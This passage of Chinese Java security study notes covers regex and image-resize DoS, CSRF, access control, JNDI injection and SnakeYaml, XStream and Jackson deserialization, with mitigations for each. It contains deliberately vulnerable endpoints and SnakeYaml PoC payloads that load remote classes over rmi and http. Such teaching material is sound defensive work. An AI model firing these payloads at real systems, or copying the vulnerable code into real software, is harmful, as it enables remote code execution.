都可以被拆分为不同的 x+
组合)。
避免方式: 采用不贪婪的算法,或者是避免写出这样的正则
图片放大拒绝服务 这个漏洞就是图片width,height可控导致任意大小dos,限制图片大小或者不泄露参数即可
@ApiOperation(value = "vul:图片放大拒绝服务", notes = "攻击者可以通过发送大量请求,要求服务器放大图片,从而使服务器资源耗尽")
@GetMapping("/imagedos/vul")
public ResponseEntity<byte[]> resizeImageVul(int width, int height) {
log.info(String.format("[vul] 图片放大拒绝服务:%s %s", width, height));
return getImageEntity(width, height);
}
CSRF
没有做任何的校验,导致攻击者使用你的身份完成了他想要事情,如转账给他
public Map<String, Object> transferMoney(HttpServletRequest request, HttpServletResponse response, HttpSession session) {
// 从请求中获取转账金额和接收者
String from = (String) session.getAttribute("LoginUser");
String amount = request.getParameter("amount");
String receiver = request.getParameter("receiver");
Map<String, Object> result = new HashMap<>();
result.put("from", from);
result.put("receiver", receiver);
result.put("amount", amount);
result.put("success", true);
return result;
}
防范:使用token防范csrf
CSRF Token 被设计为不会被浏览器自动携带,这样就能导致
正确的做法是将 Token 存储在非 Cookie 位置(如前端的 LocalStorage、SessionStorage,或页面 DOM 的隐藏字段中)
浏览器的同源策略会限制跨域脚本访问这些位置:攻击者的恶意网站无法通过 JavaScript 读取其他网站的 LocalStorage 或 DOM 内容,因此无法获取 Token
随机生成token字段,与sessionid绑定,即可防御csrf
越权漏洞
水平越权
如通过id查询信息,未校验查询对象与当前用户身份一致的话则会造成水平越权,自己能查询他人才能查询的信息
垂直越权
相应校验管理员权限即可
JAVA组件漏洞
感觉java的组件漏洞之前都记录过原理,直接说漏洞产生点了。
JNDI注入
Context.lookup()中参数可控则会存在JNDI注入
@ApiOperation(value = "vul:JNDI注入")
@GetMapping("/vul")
public String vul(String content) {
log.info("[vul] JNDI注入:" + content);
try {
Context ctx = new InitialContext();
ctx.lookup(content);
} catch (Exception e) {
log.warn("JNDI错误消息");
}
return "JNDI注入";
}
SnakeYaml反序列化漏洞
这个组件是使用在yaml与java对象转化。在yaml转换为java时会调用构造方法以及set方法导致出现一些可构造的反序列化漏洞。
Yaml.load()中参数可控时会出现反序列化漏洞,使用SafeConstructor构造的Yaml会有白名单过滤是安全的
/**
* @poc content=!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp', autoCommit: true}
* @poc content=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2222"]]]]
*/
@ApiOperation(value = "vul:SnakeYaml 反序列化漏洞")
@PostMapping("/vul")
public void vul(String content) {
Yaml y = new Yaml();
y.load(content);
log.info("[vul] SnakeYaml反序列化: {}", content);
}
@ApiOperation(value = "safe:SnakeYaml")
@PostMapping("/safe")
public void safe(String content) {
// SafeConstructor 是 SnakeYaml 提供的一个安全的构造器。它可以用来构造安全的对象,避免反序列化漏洞的发生。
try {
Yaml y = new Yaml(new SafeConstructor());
y.load(content);
log.info("[safe] SnakeYaml反序列化: {}", content);
} catch (Exception e) {
log.warn("[error] SnakeYaml反序列化失败", e);
}
}
XStream反序列化漏洞
xml与java对象的转化,调用fromXML时会出现反序列化漏洞
XStream.setupDefaultSecurity(xs);启动安全配置
Jackson反序列化漏洞
满足下面三个条件之一即存在Jackson反序列化漏洞:
- 调用了ObjectMapper.enableDefaultTyping()函数
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解
1.属性不为Object类时
当要进行反序列化的类的属性所属类的构造函数或setter方法本身存在漏洞时,这种场景存在Jackson反序列化漏洞
2.属性为Object类时
寻找出在目标服务端环境中存在的且构造函数或setter方法存在漏洞代码的类即可进行攻击利用
参考:从CVE-2025-1548 学习图像上传功能挖掘之SSRF-先知社区
[奇安信攻防社区-Java安全]Spring SPEL注入总结&&回显技术